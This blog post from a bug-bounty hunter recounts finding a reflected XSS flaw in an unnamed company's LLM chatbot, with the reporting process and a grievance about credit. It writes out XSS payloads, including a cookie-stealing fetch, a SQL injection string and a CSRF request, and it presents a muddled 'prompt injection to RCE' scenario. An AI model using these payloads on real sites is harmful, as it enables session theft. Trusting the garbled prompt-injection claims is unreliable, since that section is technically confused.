Discovering a Prompt Injection Vulnerability in’s LLM

Discovering a Prompt Injection Vulnerability in’s LLM

By Oscakampala cyber security: For educational purposes only


6 min read


Hi, I'm Warren, alias WarrenMu. As a cybersecurity enthusiast and researcher, I am always on the lookout for potential vulnerabilities in web applications. Recently, during one of my routine checks, I discovered a critical vulnerability in the chat-bot (LLM) interface of, this was all due to a serious burnout on hacking on openai without getting any bugs. Lol.. This blog post aims to walk you through the discovery, reporting process, and lessons learned, all while raising awareness about the importance of web security and ethical hacking.

What is Reflected XSS?

Cross-Site Scripting (XSS) is a common vulnerability that occurs when an attacker can inject malicious scripts into webpages viewed by other users. Reflected XSS happens when the injected script is reflected off a web server, such as in an error message, search result, or any other response including some or all of the input sent to the server.

Discovery of the Vulnerability

While exploring the functionalities of’s LLM, I noticed a peculiar behavior in the way user input was being handled. Here’s a step-by-step account of how I identified the vulnerability:

1. Initial Observation

I was testing the input fields on the LLM interface for common injection patterns. One of the fields seemed to echo back user input without proper sanitization.

2. Crafting the Payload

To confirm my suspicions, I crafted a simple payload: <script>alert('XSS')</script>. This script would trigger a browser alert if executed.

3. Injecting the Payload

I injected the payload into the input field and submitted the form. To my surprise, the alert box popped up, confirming the presence of a reflected XSS vulnerability.

4. Further Testing

To understand the extent of the vulnerability, I conducted further tests with more complex payloads. All tests confirmed that the input was not being properly sanitized or encoded, making it possible to execute arbitrary scripts.

Reporting the Vulnerability

As a responsible security researcher, I promptly reported the vulnerability to Here’s a summary of the report I submitted:

Vulnerability Report: Reflected XSS in LLM

Date: 1/6/2024

Reporter: WarrenMu

Affected Component: Large Language Model (LLM) Interface

Description: A reflected XSS vulnerability was discovered in the LLM interface of An attacker can inject malicious scripts through input fields, which are then reflected back in the response without proper sanitization.

Steps to Reproduce:

  1. Navigate to the LLM interface.

  2. Enter the following payload in the input field: <script>alert('XSS')</script>

  3. Submit the form.

  4. Observe the alert box, indicating that the script was executed.

Impact: Exploiting this vulnerability allows attackers to execute arbitrary scripts in the context of the user’s browser, potentially leading to session hijacking, data theft, and other malicious activities.

Recommendation: Implement proper input validation and output encoding to prevent the execution of injected scripts. Use libraries and frameworks that automatically handle XSS protection.

The Aftermath

Despite promptly reporting the vulnerability, the response from was less than satisfactory. While they eventually fixed the issue, there was a lack of acknowledgment and appreciation for my efforts. Instead, I felt my findings were used without proper credit, highlighting a common challenge faced by many in the bug bounty and security research community. Well I'm thankful to Ethan who had good communication skill and tried to mediate while i faced a challenge of explaining the impact to Simon, also he's part of the company, [I speculate] who ended up being a showoff without any security deeper knowledge, he said its not a bug but reputation ruined? I think that's a threat. Well either way I blogged to expose this heartlessness. Hehehe, I mean, hey... I didn't do evil here.

Chaining XSS with Other Vulnerabilities

While a reflected XSS vulnerability on its own can be serious, the potential impact becomes critical when chained with other vulnerabilities. Here are some scenarios demonstrating the severity:

1. Chaining XSS with SQL Injection

Scenario: An attacker uses the XSS vulnerability to steal session cookies and impersonate an admin user. With admin access, they find a vulnerable admin panel that is susceptible to SQL Injection.


  1. Stealing Cookies via XSS:

     <script>fetch('' + document.cookie);</script>
  2. Using Admin Session for SQL Injection:' OR '1'='1

Impact: The attacker can execute arbitrary SQL commands, leading to database dumping, data modification, or even complete database control.

2. Chaining XSS with CRLF Injection

Scenario: The attacker uses XSS to inject a CRLF payload, enabling HTTP response splitting and cache poisoning.


  1. XSS Payload:


Impact: This can lead to the injection of arbitrary HTTP headers and body content, potentially compromising the integrity of web cache and leading to further attacks.

3. Chaining XSS with SSRF

Scenario: The attacker uses XSS to perform Server-Side Request Forgery (SSRF), forcing the server to make requests to internal or external services.


  1. XSS Payload:


Impact: This could allow the attacker to access internal systems, sensitive endpoints, or even manipulate server-side applications.

4. Chaining XSS with CSRF

Scenario: The attacker combines XSS with Cross-Site Request Forgery (CSRF) to perform actions on behalf of an authenticated user.


  1. XSS Payload:

     var img = new Image();
     img.src = "";

Impact: The attacker can perform unauthorized actions such as changing the user's password, making purchases, or altering account settings.

5. Prompt Injection Leading to RCE

Scenario: The attacker uses prompt injection in the LLM interface to execute arbitrary code on the server.


  1. Prompt Injection Payload:

     fetch('<img src=x onerror=alert(document.cookie) />');

Impact: If the LLM executes commands based on user input, this could lead to Remote Code Execution (RCE), giving the attacker control over the server and access to sensitive data.


This hypothetical scenario demonstrates how a seemingly minor XSS vulnerability can escalate to a critical security breach when chained with other vulnerabilities like SQL Injection, CRLF Injection, SSRF, CSRF, and prompt injection leading to RCE. It underscores the importance of thorough security assessments and prompt patching of all identified vulnerabilities. N.B: all users of this chatbot would be at a risk i.e. Refactory link.

Lessons Learned

  1. Documentation and Proof: Always document your findings thoroughly. Screenshots, videos, and detailed steps can be invaluable when reporting vulnerabilities.

  2. Ethical Reporting: Adhere to ethical guidelines and responsible disclosure policies. This not only protects you legally but also fosters a culture of trust and cooperation.

  3. Community Support: Engage with the cybersecurity community. Platforms like Bugcrowd, HackerOne, and forums like Reddit can offer support and advice.

  4. Raise Awareness: Sharing your experiences through blogs and talks helps educate others and raises awareness about cybersecurity issues.


Discovering and responsibly reporting vulnerabilities is a crucial part of improving web security. While the journey can sometimes be challenging and underappreciated, the impact of your work in safeguarding users and systems is invaluable. By sharing my experience, I hope to inspire and educate fellow bug bounty hunters and security researchers.

If you have any questions or want to share your own experiences, feel free to leave a comment or reach out to me on twitter or email below.

Stay safe and happy hunting!

About the Author:

Twitter/X: WarrenMu__

Email: WarrenMu